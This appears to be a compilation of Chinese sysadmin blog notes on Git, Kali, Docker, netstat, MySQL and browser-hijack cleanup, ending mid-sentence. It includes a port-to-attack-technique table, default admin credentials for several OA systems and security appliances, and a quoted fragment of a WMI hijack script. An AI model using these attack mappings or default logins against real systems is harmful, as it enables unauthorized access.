由于本地Git仓库和GitHub仓库之间的传输是通过SSH加密的,所以必须要让github仓库认证你SSH key,在此之前,必须要生成SSH key。第1步:创建SSH Key。在windows下查看[c盘->用户->自己的用户名->.ssh]下是否有id_rsa、id_rsa.pub文件,如果没有需要手动生成。打开git bash,在控制台中输入以下命令。$ ssh-keygen -t rsa -C "youremail@example.com" eg: ssh-keygen -t rsa -C "123456789@qq.com"密钥类型可以用 -t 选项指定。如果没有指定则默认生成用于SSH-2的RSA密钥。这里使用的是rsa。同时在密钥中有一个注释字段,用-C来指定所指定的注释,可以方便用户标识这个密钥,指出密钥的用途或其他有用的信息。所以在这里输入自己的邮箱或者其他都行。输入完毕后程序同时要求输入一个密语字符串(passphrase),空表示没有密语。接着会让输入2次口令(password),空表示没有口令。3次回车即可完成当前步骤,此时[c盘>用户>自己的用户名>.ssh]目录下已经生成好了。第2步:登录github。打开setting->SSH keys,点击右上角 New SSH key,把生成好的公钥id_rsa.pub放进 key输入框中,再为当前的key起一个title来区分每个key。
【Git初探】Git中fatal: Not a git repository (or any of the parent directories): .git错误的解决办法今天用git bash更新项目时遇到了无论使用什么命令都会报fatal: Not a git repository (or any of the parent directories): .git的情况。其实字面意思写得挺明显的:(当前)不是一个git的目录(或任何一个父目录),所以按照字面意思使用 git init 新建一个.git目录就能解决问题了。手动实验一下,效果显著。
端口号标识了一个主机上进行通信的不同的应用程序。1.HTTP协议代理服务器常用端口号:80/8080/3128/8081/90982.SOCKS代理协议服务器常用端口号:10803.FTP(文件传输)协议代理服务器常用端口号:214.Telnet(远程登录)协议代理服务器常用端口号:23HTTP服务器,默认端口号为80/tcp(木马Executor开放此端口)HTTPS(securely transferring web pages)服务器,默认端口号为443/tcp 443/udpTelnet(不安全的文本传送),默认端口号为23/tcp(木马Tiny Telnet Server所开放的端口)FTP,默认的端口号为21/tcp(木马Doly Trojan、Fore、Invisible FTP、WebEx、WinCrash和Blade Runner所开放的端口)TFTP(Trivial File Transfer Protocol),默认端口号为69/udpSSH(安全登录)、SCP(文件传输)、端口号重定向,默认的端口号为22/tcpSMTP Simple Mail Transfer Protocol(E-mail),默认端口号为25/tcp(木马Antigen、Email Password Sender、Haebu Coceda、Shtrilitz Stealth、WinPC、WinSpy都开放这个端口)POP3 Post Office Protocol(E-mail),默认端口号为110/tcpWebshpere应用程序,默认端口号为9080webshpere管理工具,默认端口号9090JBOSS,默认端口号为8080TOMCAT,默认端口号为8080WIN2003远程登录,默认端口号为3389Symantec AV/Filter for MSE,默认端口号为 8081Oracle 数据库,默认的端口号为1521ORACLE EMCTL,默认的端口号为1158Oracle XDB(XML 数据库),默认的端口号为8080Oracle XDB FTP服务,默认的端口号为2100MS SQL*SERVER数据库server,默认的端口号为1433/tcp 1433/udpMS SQL*SERVER数据库monitor,默认的端口号为1434/tcp 1434/udp端口号 端口说明 攻击技巧21/22/69 ftp/tftp:文件传输协议 爆破\嗅探\溢出\后门22 ssh:远程连接 爆破OpenSSH;28个退格23 telnet:远程连接 爆破\嗅探25 smtp:邮件服务 邮件伪造53 DNS:域名系统 DNS区域传输\DNS劫持\DNS缓存投毒\DNS欺骗\利用DNS隧道技术刺透防火墙67/68 dhcp 劫持\欺骗110 pop3 爆破139 samba 爆破\未授权访问\远程代码执行143 imap 爆破161 snmp 爆破389 ldap 注入攻击\未授权访问512/513/514 linux r 直接使用rlogin873 rsync 未授权访问1080 socket 爆破:进行内网渗透1352 lotus 爆破:弱口令\信息泄漏:源代码1433 mssql 爆破:使用系统用户登录\注入攻击1521 oracle 爆破:TNS\注入攻击2049 nfs 配置不当2181 zookeeper 未授权访问3306 mysql 爆破\拒绝服务\注入3389 rdp 爆破\Shift后门4848 glassfish 爆破:控制台弱口令\认证绕过5000 sybase/DB2 爆破\注入5432 postgresql 缓冲区溢出\注入攻击\爆破:弱口令5632 pcanywhere 拒绝服务\代码执行5900 vnc 爆破:弱口令\认证绕过6379 redis 未授权访问\爆破:弱口令7001 weblogic Java反序列化\控制台弱口令\控制台部署webshell80/443/8080 web 常见web攻击\控制台爆破\对应服务器版本漏洞8069 zabbix 远程命令执行9090 websphere控制台 爆破:控制台弱口令\Java反序列9200/9300 elasticsearch 远程代码执行11211 memcacache 未授权访问27017 mongodb 爆破\未授权访问总述端口:80,21,22,23,25,53,110,443,1433,1863,2289,3306,5631,5632,5000,8080,9090,21,22,69,23,25,53,67,68,110,139,143,161,389,512,513,514,873,1080,1352,1433,1521,2049,21813,3306,3389,4848,5000,5432,5632,5900,6379,7001,80,443,8080,8096,8069,9090,9200,9300,11211,27017,3128,8081,9000,9098,1080,69,25,110,9080,9090,8081,2100,1433,1434
oss的核心是存储,以及计算能力(图片处理)cdn的核心是分发,本身不会给用户提供直接操作存储的入口所以一般是两者配合使用oss来来存放静态资源比如图片啊js文件啊.html啊视频之类的.. cdn用来将oss里面的文件进行分发..oss里面的文件会缓存到cdn的节点上 用户就近访问.
VMware自带的vmware-tools在新版本的KaliLinux中已经没效果,官方建议是安装open-vm-tools-desktop来代替其跟物理机交互。解决办法:1.首先更新KaliLinux更新源vi /etc/apt/sources.list 可以删除该文件中的所有内容,也可以直接在文前添加新的APT源。官网kali源 deb http://http.kali.org/kali kali-rolling main contrib non-free 阿里云kali源 deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib deb http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free deb-src http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free 中科大kali源 deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free对软件进行一次整体更新:apt-get clean && apt-get update && apt-get upgrade -y && apt-get dist-upgrade -y命令讲解: apt-get clean //清除缓存索引 apt-get update //更新索引文件 apt-get upgrade //更新实际的软件包文件 apt-get dist-upgrade //根据依赖关系更新2、安装open-vm-tools-desktop如果之前不小心安装了vmware-tools,可以输入vmware-uninstall-tools.pl回车即可删除vmware-tools。在有官方的更新源下,使用下面命令安装open-vm-tools-desktopapt-get install open-vm-tools-desktop fuse reboot
我用的是 DeepIn 系统,非 root 模式下命令行的是有配色的,虽然不是很好看,但也可以接受。但是一切换到 root 模式就感觉贼难受。。变成纯色了。有强迫症的人必然会想把颜色换回来。。。实际上颜色文件是保存在 ~/.bashrc 下。而 ~/.bashrc 里面的PS变量是只作用在用户自己的终端的,切换到 root 之后就需要给 root 重新设置PS,默认的 /root/.bashrc 是空。我们看下非 root 下的 ~/.bashrc 文件:vi ~/.bashrc然后切换到 root 模式,再看一下:vi ~/.bashrc ,很明显为空。把我们需要的PS设置复制到 /root/.bashrc,就可以修改颜色了。sudo cp ~/.bashrc /root/.bashrc
默认安装完成之后并不知道root用户的密码,那么如何应用root权限呢?(1)sudo 命令xzm@ubuntu:~$ sudo这样输入当前管理员用户密码就可以得到超级用户的权限。但默认的情况下5分钟root权限就失效了。(2)sudo -ixzm@ubuntu:~$ sudo -i通过这种方法输入当前管理员用户的密码就可以进到root用户。(3)如果想一直使用root权限,要通过su切换到root用户。那我们首先要重设置root用户的密码:xzm@ubuntu:~$ sudo passwd root这样就可以设置root用户的密码了。(4)之后就可以自由的切换到root用户了xzm@ubuntu:~$ su输入root用户的密码即可。注销后换root就可以登录了,但是可能会遇到换了桌面系统不能登录的情况,那就去看另一篇博客:2020.1-2020.2 kail linux gnome桌面环境root用户无法登陆解决办法
前提你已经在单例模式下面更改了root用户的密码(就是你知道自己root用户的密码是多少)第一步,以root登录其它控制台(eg. kali using Ctrl+Alt+F2)第二步:vim /etc/pam.d/gdm-autologin找到这一行:auth required pam_succeed_if.so user != root quiet_success然后给它添加注释变成:#auth required pam_succeed_if.so user != root quiet_success然后vim /etc/pam.d/gdm-password找到这一行:auth required pam_succeed_if.so user != root quiet_success然后给它添加注释变成:#auth required pam_succeed_if.so user != root quiet_success然后reboot重启就能用root登陆gnome桌面环境了
原来kali2020.1安装了xfce桌面环境,用着不习惯,所有换成gnome桌面环境操作:1.下载安装gnomeapt -y install kali-desktop-gnome2.安装完会弹出界面,选择gdm3,按回车键3.接着会自动解压安装gnome4.解压安装完,重启就可以了
网上很多人都说安装Docker要升级windows专业版以上,是因为windows的虚拟机Hyper-v必须要专业版以上的版本才能安装。那么你可以把系统升级到专业版,或者直接在home 版上开启Hyper-v,完全可以的。但是有一点不完美,后面再来说怎么不完美。当然可以通过修改注册表的方式,来绕过Docker的安装检测,但是后面还会遇到一系列的问题,不推荐这种方法。如果没有Hyper-v直接安装Docker会报以下错误:Installation failed:one pre-requisite is not fullfilledDocker Desktop requires Windows 10 Pro or Enterprise version 14393 to run.先说怎么在Home版本上开启Hyper-v,新建一个文件hyper.bat或hyper.cmd,复制下面的代码到新建的文件里面保存.pushd "%~dp0" dir /b %SystemRoot%\servicing\Packages\*Hyper-V*.mum >hyper-v.txt for /f %%i in ('findstr /i . hyper-v.txt 2^>nul') do dism /online /norestart /add-package:"%SystemRoot%\servicing\Packages\%%i" del hyper-v.txt Dism /online /enable-feature /featurename:Microsoft-Hyper-V-All /LimitAccess /ALL然后右键以管理员的身份运行,运行可能有几分钟的时间,运行结束后,结果如下图。输入y重启后Hyper-v就开启了,这个时候就可以直接安装Docker了,就能安装成功。Hyper-v开启成功后,service.msc服务中会有以下三个服务启动:HV主机服务 #自动开启Hyper-v主机计算服务 #自动开启Hyper-v虚拟机管理 #自动开启如果要禁用Hyper-v则只需要将上面三个服务停止并禁用掉就行了.服务停止掉了怎么彻底干掉Hyper-v呢.点击查看彻底干掉Hyper-v接下来说为什么这种方法不完美,因为如果你是Home版本通过脚本开启Hyper-v的话它会与VM这一系列的虚拟机冲突,其实冲突也不是啥大问题,主要问题就是VM虚拟机就不能创建64位的系统了,只能以32位的方式运行;说人话就是,比如你home版本电脑装了VirtualBox同时也开启了Hyper-v,那么你virtualBox新建的虚拟机就只能是32位的,不能是64位的,就只有这一个冲突,其他没啥问题。还有种方式安装Docker就是通过安装DockerToolbox与VirtualBox来解决,因为DockerToolbox依懒于VirtualBox,所以如果你没有先安装VirtualBox,那么你在安装DockerToolbox的时候会直接一并安装起,包括git也会安装好,如果你先安装了VirtualBox那么你在安装DockerToolbox的时候把安装VirtualBox的勾去掉就行了。这样就能在Home版本上安装好Docker。个人推荐 DockerToolbox与VirtualBox来解决不要开启Hyper-v,当然可以去升级系统到专业版也更好咯,但是有个不好的地方就是,当你把系统升级到专业版后,如果你很不幸,你的电脑主板出了问题,这个时候厂家给你换了一块新的,那你拿到主板后主板自带的OEM还是home版本的,但是这个时候你并不能通过windows的商店来激活专业版,你需要联系客服来解决这些麻烦。
参数-a (all) 显示所有选项,默认不显示LISTEN相关。 -t (tcp) 仅显示tcp相关选项。 -u (udp) 仅显示udp相关选项。 -n 拒绝显示别名,能显示数字的全部转化成数字。 -l 仅列出有在 Listen (监听) 的服务状态。 -p 显示建立相关链接的程序名 -r 显示路由信息,路由表 -e 显示扩展信息,例如uid等 -s 按各个协议进行统计 -c 每隔一个固定时间,执行该netstat命令。 LISTEN和LISTENING的状态只有用-a或者-l才能看到。常用命令netstat -an -n 拒绝显示别名,能显示数字的全部转化成数字。netstat输出内容详解1 列出所有tcp和udp端口netstat -tulnp Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1904/sshd tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN 1750/cupsd tcp 0 0 0.0.0.0:44567 0.0.0.0:* LISTEN 1713/rpc.statd tcp 0 0 0.0.0.0:10050 0.0.0.0:* LISTEN 1965/zabbix_agentd tcp 0 0 172.172.230.211:3306 0.0.0.0:* LISTEN 31849/mysqld tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 1576/rpcbind tcp 0 0 172.172.230.211:46327 172.172.100.3:80 TIME_WAIT - tcp 0 0 172.172.230.211:46329 172.172.100.3:80 TIME_WAIT - tcp 0 52 172.172.230.211:22 172.172.173.222:50043 ESTABLISHED 6095/sshd tcp 0 0 172.172.230.211:46326 172.172.100.3:80 TIME_WAIT - tcp 0 0 172.172.230.211:5401 172.172.100.3:443 TIME_WAIT - tcp 0 0 :::22 :::* LISTEN 1904/sshd tcp 0 0 ::1:631 :::* LISTEN 1750/cupsd tcp 0 0 :::11776 :::* LISTEN 1713/rpc.statd tcp 0 0 :::10050 :::* LISTEN 1965/zabbix_agentd tcp 0 0 :::111 :::* LISTEN 1576/rpcbind2.命令输出结果详解2.1Proto:协议名(tcp协议还是udp协议)2.2recv-Q:网络接收队列,send-Q:网路发送队列2.2.1recv-Q:网络接收队列表示收到的数据已经在本地接收缓冲,但是还有多少没有被进程取走,recv()如果接收队列Recv-Q一直处于阻塞状态,可能是遭受了拒绝服务 denial-of-service 攻击。2.2.2send-Q:网路发送队列对方没有收到的数据或者说没有Ack的,还是本地缓冲区.如果发送队列Send-Q不能很快的清零,可能是有应用向外发送数据包过快,或者是对方接收数据包不够快。2.2.3recv-Q和send-Q分析这两个值通常应该为0,如果不为0可能是有问题的。packets在两个队列里都不应该有堆积状态。可接受短暂的非0情况2.3Local Addres解释2.3.1 Local Address 部分的0.0.0.0:3306 表示监听服务器上所有ip地址的3306端口。2.3.2 :::80 这个也表示监听本地所有ip的80端口,跟上面的区别是这里表示的是IPv6地址,上面的0.0.0.0表示的是本地所有IPv4地址。注:“:::” 这三个: 的前两个"::",是"0:0:0:0:0:0:0:0"的缩写,相当于IPv6的"0.0.0.0",就是本机的所有IPv6地址,第三个:是IP和端口的分隔符2.3.3 127.0.0.1:631 这个表示监听本机的loopback地址的631端口(如果某个服务只监听了回环地址,那么只能在本机进行访问,无法通过tcp/ip 协议进行远程访问)2.4 Foreign Address与本机端口通信的外部socket。显示规则与Local Address相同2.5 Statestate列共有12中可能的状态,前面11种是按照TCP连接建立的三次握手和TCP连接断开的四次挥手过程来描述的。状态描述LISTEN首先服务端需要打开一个socket进行监听,状态为LISTEN./* The socket is listening for incoming connections. 侦听来自远方TCP端口的连接请求 */SYN_SENT客户端通过应用程序调用connect进行active open.于是客户端tcp发送一个SYN以请求建立一个连接.之后状态置为SYN_SENT./*The socket is actively attempting to establish a connection. 在发送连接请求后等待匹配的连接请求 */SYN_RECV服务端应发出ACK确认客户端的 SYN,同时自己向客户端发送一个SYN. 之后状态置为SYN_RECV/* A connection request has been received from the network. 在收到和发送一个连接请求后等待对连接请求的确认 */ESTABLISHED代表一个打开的连接,双方可以进行或已经在数据交互了。/* The socket has an established connection. 代表一个打开的连接,数据可以传送给用户 */FIN_WAIT1主动关闭(active close)端应用程序调用close,于是其TCP发出FIN请求主动关闭连接,之后进入FIN_WAIT1状态./* The socket is closed, and the connection is shutting down. 等待远程TCP的连接中断请求,或先前的连接中断请求的确认 */CLOSE_WAIT被动关闭(passive close)端TCP接到FIN后,就发出ACK以回应FIN请求(它的接收也作为文件结束符传递给上层应用程序),并进入CLOSE_WAIT./* The remote end has shut down, waiting for the socket to close. 等待从本地用户发来的连接中断请求 */FIN_WAIT2主动关闭端接到ACK后,就进入了 FIN-WAIT-2 ./* Connection is closed, and the socket is waiting for a shutdown from the remote end. 从远程TCP等待连接中断请求 */LAST_ACK被动关闭端一段时间后,接收到文件结束符的应用程 序将调用CLOSE关闭连接。这导致它的TCP也发送一个 FIN,等待对方的ACK.就进入了LAST-ACK ./* The remote end has shut down, and the socket is closed. Waiting for acknowledgement. 等待原来发向远程TCP的连接中断请求的确认 */TIME_WAIT在主动关闭端接收到FIN后,TCP 就发送ACK包,并进入TIME-WAIT状态。/* The socket is waiting after close to handle packets still in the network.等待足够的时间以确保远程TCP接收到连接中断请求的确认 */CLOSING比较少见./* Both sockets are shut down but we still don’t have all our data sent. 等待远程TCP对连接中断的确认 */CLOSED被动关闭端在接受到ACK包后,就进入了closed的状态。连接结束./* The socket is not being used. 没有任何连接状态 */UNKNOWN未知的Socket状态。/* The state of the socket is unknown. */备注SYN: (同步序列编号,Synchronize Sequence Numbers)该标志仅在三次握手建立TCP连接时有效。表示一个新的TCP连接请求。ACK: (确认编号,Acknowledgement Number)是对TCP请求的确认标志,同时提示对端系统已经成功接收所有数据。FIN: (结束标志,FINish)用来结束一个TCP回话.但对应端口仍处于开放状态,准备接收后续数据。2.6 PID/Program namePID即进程id,Program即使用该socket的应用程序举例协议 本地地址 外部地址 状态 TCP 10.2.6.170:49535 123.125.45.82:5222 ESTABLISHED 协议(Proto):TCP,指是传输层通讯协议 本地机器名(LocalAddress) 远程机器名(ForeignAddress)123.125.45.82 远程端口:5222 状态:ESTABLISHED 状态列表 LISTEN :在监听状态中。 ESTABLISHED:已建立联机的联机情况。 TIME_WAIT:该联机在目前已经是等待的状态。 netstat-na / -n 打印实际地址,而不是对地址的解释或者显示主机,网络名之类的符号,就是以数字方式来显示。 / -a 显示所有套接字的状态。 TCP 0.0.0.0:445 0.0.0.0:0 LISTENING LISTENING 表示主机对外开放了445端口,并且允许任意的外部地址来进行连接 Listening 表示端口处于侦听状态,就是说端口是开放的,等待连接 但还没有被连接。 10.2.6.170:49939 112.90.142.20:80 TIME_WAIT TIME_WAIT的意思是结束了这次连接。 UDP 0.0.0.0:123 表示本机可以和互联网上的任何一台主机建立连接
在尝试启动mysql 的服务器时出现Can't connect to MySQL server on '127.0.0.1' (10061) (2003)的错误信息,mysql服务器启动失败。解决方案:开始-->services.msc(打开服务)-->在服务列表找到MySQL-->右击MySQL点击启动但是,有时候明明安装了MySQL,在服务列表中却没有MySQL,该怎么办呢?解决方案:(1)打开cmd(以管理员身份运行C:\Windows\System32\cmd.exe),(2)利用cd命令将目录切换至mysql安装目录MySQL Server 5.6的bin目录下;(3)执行如下命令: C:\Program Files\MySQL\MySQL Server 5.6\bin>mysqld.exe -install(4)当出现Service successfully installed,表示MySQL服务安装成功。这时候,在计算机服务里已经出现MySQL服务。当然,顺水推舟,可直接在上述目录下执行如下命令:C:\Program Files\MySQL\MySQL Server 5.6\bin>net start mysql,当出现MySQL服务已经启动成功的提示时,表明在mysql连接成功。
dpkg 被中断问题解决方法linux系统安装软件是有时会碰到“dpkg 被中断,您必须手工运行 sudo dpkg –configure -a解决此问题”,然而按照提示运行却并没能很好的解决问题。其实导致这个问题的主要原因是因为/var/lib/dpkg/updates文件下的文件有问题,可能是其他软件安装过程或是其他原因导致的,这里删除掉然后重建即可。sudo rm /var/lib/dpkg/updates/* sudo apt-get update sudo apt-get upgrade[]sudo apt-get update指令会重新建立这些资料,所以不必担心删除后会出问题;[]sudo apt-get upgrade会更新你的电脑里面已安装的软件的明细,根据软件的明细更新软件到最新版。PS:“dpkg ”是“Debian Packager ”的简写。为 “Debian” 专门开发的套件管理系统,方便软件的安装、更新及移除。所有源自“Debian”的“Linux ”发行版都使用 “dpkg”
1、win10下git默认启动路径是用户的根目录,东西太多太乱了。2、修改很容易,右键单击桌面的快捷方式,选择“属性”。3、删除“目录”中的 --cd-to-home 选项,再将“起始位置": %HOMEDRIVE%%HOMEPATH% 改为你想要的目录即可。但上面的办法,还不是最好的,因为,如果你按了cd,还是会回到用户根目录。1、解决办法就是修改git的默认用户目录。2、针对git2.0以上,只需再电脑“环境变量”中用户变量(上面那个)添加一个“Home”变量,在把你要的目录作为值填入下面框中即可。
1、今目标 地址:http://web.jingoal.com/mgt/ 用户名:admin@8216261 密码:1a2s3d4f5g 2、IBOS博思协同 地址:http://demo.ibos.com.cn/?r=user/default/login 页面默认可登录 3、Soffice赛飞OA 地址:http://oa.isoffice.cn/ 页面默认可登录 4、企明岛 地址:https://passport.qimingdao.com/p-login 用户名:2660030799@qq.com 密码:1a2s3d4f5g 5、明道OA 地址:https://www.mingdao.com/feed 用户名:2660030799@qq.com 密码:1a2s3d4f5g 6、WORKTILE https://worktile.com/signin 用户名:2660030799@qq.com 密码:1a2s3d4f5g 7、通达oa http://oa.tongda2000.com/ 用户名:lijia 密码:空 8、华天动力 http://demo.oa8000.com 用户名:admin 密码:123456 9、金和OA http://demos.jh0101.com/ioas/ 用户名 :默认选择密码:空 10、绿叶OA http://enp.oa169.com/ 用户名:tf 密码:默认 安全码:073801 11、极限OAhttp://oa.sohuu.com:81/ 用户名:wxg 密码:空 12、黄城OAhttp://www.hcesoft.com/ 用户名:bmjl 密码:空 13、思道OA http://24oa.cn 用户名:aaa 密码:空 14、宇博OA http://bz.yubosoft.cn/Admin/Login.aspx 用户名:admin 密码:123 15、天翎OA http://www.teemlink.com/tuiguang/beta/index.html?type=2#anames 用户名:默认 密码:默认 16、点晴OA http://www.clicksun.com.cn/index_out.asp 用户名:默认 密码:默认 17、中服oa http://my.cserver.com.cn/mysystem/mysystem.do 用户名:2660030799@qq.com 密码:1a2s3d4f5g 18、蓝凌OA http://eisdemo.landray.com.cn 用户名:luor 密码:26012345 19、蓝晓OA http://oa.lanxiao.net:2234 用户名:马云 密码:a 20、iwork365 http://www.iwork365.com/login 用户名:2660030799@qq.com 密码:1a2s3d4f5g 21、78OA http://v4.78oa.com 用户名:test1 密码:无 22、深信通 http://eone.sxt.com.cn 页面最下方扫描二维码 23、i8小时oa http://www.i8xiaoshi.com/ 通过手机注册进入 24、小微oa http://demo.smeoa.com/index.php/login 用户名:admin 密码:admin 24、plesk panel 虚拟主机管理平台 http://xxxxxx.com:8880 默认的管理员账户密码是admin 密码stepu 25 山石网科 hillstone hillstone 26 阿姆瑞特防火墙 admin manager 27绿盟安全审计系统 weboper weboper
浏览器被劫持解决方法1、浏览器设置被篡改这是早期方法了,稍微懂点电脑的都会,中招之后首先查看浏览器设置。如已被修改,将其修改为about:blank(空白页)或者原先的首页,应用后关闭浏览器后重新打开浏览器看是否成功。如首页仍被篡改或者设置里并没被修改,请看第二步。2、快捷方式被修改右键点击浏览器快捷方式查看属性,如图。发现没?在目标一栏后面加了hao123的网址了(李彦宏,我有一句MMP不知道当讲不当讲),这是程序的运行参数,打开都会传入这行网址,删除那行网址,重新打开浏览器看恢复了没有?还没?请看第三步。3、软件设置查看你当前正在运行的软件设置,是否有相关设置。某些免费软件的作者迫于生计可能会在软件设置里将你的浏览器首页锁定成他的推广页面(这里“免费”不加引号的原因是确实有些免费软件很良心,这样做也无可厚非,毕竟能给你关闭的选项就不错了)。举个例子,曾经我将火绒作为我的安全软件,结果一直出现弹窗,查找了一圈,发现在火绒设置里有这么一项,当场脸一黑。。排查后看有无问题,如果还有,请看第四步。4、注册表被修改win+r打开运行窗口输入regedit,ctrl+f打开搜索窗口,搜索那行推广网址,删除相关键值。如果没有修改过注册表的,这步请谨慎进行,有可能系统会出问题。关闭注册表,再打开浏览器看下成功没。还没,再继续看。5、修改浏览器主程序名右键浏览器快捷方式,点击打开文件所在的位置,定位到浏览器主程序。将浏览器主程序名修改成任意其他名字,如f**k_lyh.exe等。再次打开看看是否已经改回来了?如果以上方法均无效,这一步应该能解决绝大部分情况。但是如果像我一样可能无法忍受,总会有种如鲠在喉的感觉,不解决不舒服斯基,那么继续看,接下来的步骤需要一定的电脑常识。6、WMI某些流氓软件劫持浏览器的原理是一段通过WMI发起的定时自动运行脚本,这个脚本会自动遍历浏览器的快捷方式,并重新加上启动参数。WMI(Windows Management Instrumentation)可以理解成Windows系统后台运行的一个事件管理器。查看WMI事件需要安装WMITool(管理员身份运行),安装完毕后打开WMI Event Viewer,左上角点击钢笔图标,一路OK,双击左栏EventFilter,出现如下(这张图是网上找的,手头没有)找到ScriptText,看到value里面的值没有,里面代码类似On Error Resume Next Const link = "http://hao.169x.cn/?v=108" Const link360 = "http://hao.169x.cn/?v=108&s=3" browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe" lnkpaths = "C:UsersPublicDesktop,C:ProgramDataMicrosoftWindowsStart MenuPrograms,C:UserschenxhDesktop,C:UserschenxhAppDataRoamingMicrosoftInternet ExplorerQuick Launch,C:UserschenxhAppDataRoamingMicrosoftInternet ExplorerQuick LaunchUser PinnedStartMenu,C:UserschenxhAppDataRoamingMicrosoftInternet ExplorerQuick LaunchUser PinnedTaskBar,C:UserschenxhAppDataRoamingMicrosoftWindowsStart MenuPrograms" 。。。。。此处参考链接:解决hao123胁持chrome主页问题右键删除之即可。7、dll劫持这种情况目前我还没碰到过,不过大致解决方法可以通过下载process explorer(火绒软件也可)查看进程钩子,这里需要一定电脑知识判断有无异常钩子,删除对应文件就行。8、安装360系统急救箱,进入安全模式,断网用360系统急救箱全盘深度扫描终极方法--重装(不建议)如果实在忍受不了这个又找不到解决方案,那么只有一个方法,重装电脑(最好是官方纯净的系统)。网上经常有人建议重装,这个是非常不负责任的做法,我不提倡,毕竟数据无价,重装电脑后需要再设置的东西太多,浪费时间。参考:https://www.zhihu.com/question/21883209情况链接:https://www.52pojie.cn/thread-781946-1-1.html暴风激活携带病毒浏览器劫持解决方法:edkaorun xpvvbb名字差不多是这样的两个内核病毒, 在C:\Users\17155\AppData\Local\Microsoft\WindowsApps文件夹下, 通过火绒查杀出来的,处理后重启就解决了分析发现,本次截获到的麻辣香锅病毒攻击手法十分隐秘。为顺利躲过系统检测,它所释放的所有病毒文件均携带伪造的数字签名。 该病毒的劫持流程为病毒作者设置了两个恶意驱动,其中KMDF_LOOK.sys通过注册minifilter,阻止浏览器进程加载安全模块,随后进程创建回调,在用户启动浏览器时通过增加命令行的方式劫持浏览器主页。而KMDF_Protect.sys则如同一个守门人,拒绝病毒进程之外的所有请求,以保护病毒文件;除此之外,还会注册一个名为Windows Mobile User Experience Server的系统服务,用于病毒升级。参考链接:https://tieba.baidu.com/p/6547762816?qq-pf-to=pcqq.c2chttps://www.zhihu.com/question/21883209
项目越来越大,每次需要重新编译整个项目都是一件很浪费时间的事情。Research了一下,找到以下可以帮助提高速度的方法,总结一下。tmpfs有人说在Windows下用了RAMDisk把一个项目编译时间从4.5小时减少到了5分钟,也许这个数字是有点夸张了,不过粗想想,把文件放到内存上做编译应该是比在磁盘上快多了吧,尤其如果编译器需要生成很多临时文件的话。这个做法的实现成本最低,在Linux中,直接mount一个tmpfs就可以了。而且对所编译的工程没有任何要求,也不用改动编译环境。mount -t tmpfs tmpfs ~/build -o size=1G用2.6.32.2的Linux Kernel来测试一下编译速度:用物理磁盘:40分16秒 用tmpfs:39分56秒呃……没什么变化。看来编译慢很大程度上瓶颈并不在IO上面。但对于一个实际项目来说,编译过程中可能还会有打包等IO密集的操作,所以只要可能,用tmpfs是有益无害的。当然对于大项目来说,你需要有足够的内存才能负担得起这个tmpfs的开销。make -j既然IO不是瓶颈,那CPU就应该是一个影响编译速度的重要因素了。用make -j带一个参数,可以把项目在进行并行编译,比如在一台双核的机器上,完全可以用make -j4,让make最多允许4个编译命令同时执行,这样可以更有效的利用CPU资源。还是用Kernel来测试:用make: 40分16秒 用make -j4:23分16秒 用make -j8:22分59秒由此看来,在多核CPU上,适当的进行并行编译还是可以明显提高编译速度的。但并行的任务不宜太多,一般是以CPU的核心数目的两倍为宜。不过这个方案不是完全没有cost的,如果项目的Makefile不规范,没有正确的设置好依赖关系,并行编译的结果就是编译不能正常进行。如果依赖关系设置过于保守,则可能本身编译的可并行度就下降了,也不能取得最佳的效果。超线程技术的原理很简单,以前的单核心处理器,在同一时间内只可以处理一项工作 (线程,Thread),如果要处理一项以上的工作时,以前的单核心处理器是不可行的,所以英特尔就开发了超线程技术,以一个单核心的处理器,去模拟出双核心的环境,但这并非能够把处理器的效能提升双倍,原因在于实体的核心始终只有一个,而效能有约百分之至二十至三十增长。 在奔腾四时代INTEL就已经引入了人超线程技术,而特意的加长的流水线反而成了HT技术的累赘。 所以推出奔腾D及后来的酷睿2系列时,英特尔并没有加进超线程技术,因为奔腾D及酷睿2处理器已支援双核心处理器的运作,而且INTEL也在默默的钻研指令预测技术减少流水线。在酷睿2后期英特尔推出了酷睿2四核心处理器,因为有用户反映双核不足以应付手头的工作,再到后来, 英特尔酷睿i7出现了,他带着 Intel 全新的超线程技术,很短的流水线这得益于他的指令分支预测技术,拥有着奔腾四无法企及的效率,它是四核心处理器加进了超线程技术,处理器同时支持处理八个线程的工作,在这种环境下电脑可挂很多应用程序,支持多线程的应用,因此即使N多程序同时运行,电脑也没有运行减慢的感觉,操作起来依然是流畅如行云流水。 其实超线程技术拥有最高的功耗效能比,加入超线程技术所增加的晶体管数目及功耗并不多,但却相比增加一颗完整的核心更具性价比,加上酷睿i7微架构拥有高带宽及高容量三级高速缓存的优势,更能将超线程技术的功效发挥到极致。 要打开超线程技术,很简单,一般而言,在BIOS内就可以设定超线程技术的启动与否。当设定完成后,进入Windows的“我的电脑”,查看处理器,就能看出八个线程的工作情况。 加入超线程技术的英特尔酷睿i7处理器在多任务应用时最能发挥它的潜能,它可以同时处理N个的游戏及多媒体软件,而不会出现慢式死机。有人做了一些评测,是用Cinebench 10,跑Far Cry 2 及Company of 